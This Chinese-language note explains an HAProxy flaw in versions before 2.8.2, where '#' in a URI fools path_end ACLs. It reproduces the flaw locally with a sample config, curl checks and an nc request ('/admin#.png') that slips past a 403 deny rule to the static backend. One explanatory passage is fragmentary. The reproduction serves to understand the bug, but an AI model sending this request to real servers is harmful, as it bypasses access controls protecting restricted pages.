HAProxy 2.8.2 之前的版本接受 # 作为 URI 组件的一部分,这可能导致远程攻击者在 path_end 规则被错误解释时获取敏感信息或造成其他未明确的影响,例如将 index.html#.png 路由到静态服务器。
此 CVE 中会被错误路由的并非后端应用“支持”的任何扩展名——而仅仅是 HAProxy 自身配置为使用 path_end(或正则)ACL 进行路由的那些扩展名。
acl is_static path_end .png .jpg .gif .css .js
use_backend be_static if is_static
这意味着:
.png、.js 等文件。be_static。因此:
/admin#.png → 匹配 .png → 进入 be_static → 绕过
/admin#.asc → 不匹配 → 留在 be_app → 触发 deny → 403
curl -i http://localhost:6655/public
HTTP/1.1 200 OK
content-length: 7
content-type: text/plain
APP OK
curl -i http://localhost:6655/admin
HTTP/1.1 403 Forbidden
content-length: 93
cache-control: no-cache
content-type: text/html
<html><body><h1>403 Forbidden</h1>
Request forbidden by administrative rules.
</body></html>
printf 'GET /admin#.png HTTP/1.1\r\nHost: localhost\r\n\r\n' | nc -q1 127.0.0.1 6655
HTTP/1.1 200 OK
content-length: 31
content-type: text/plain
STATIC OK (routed by path_end)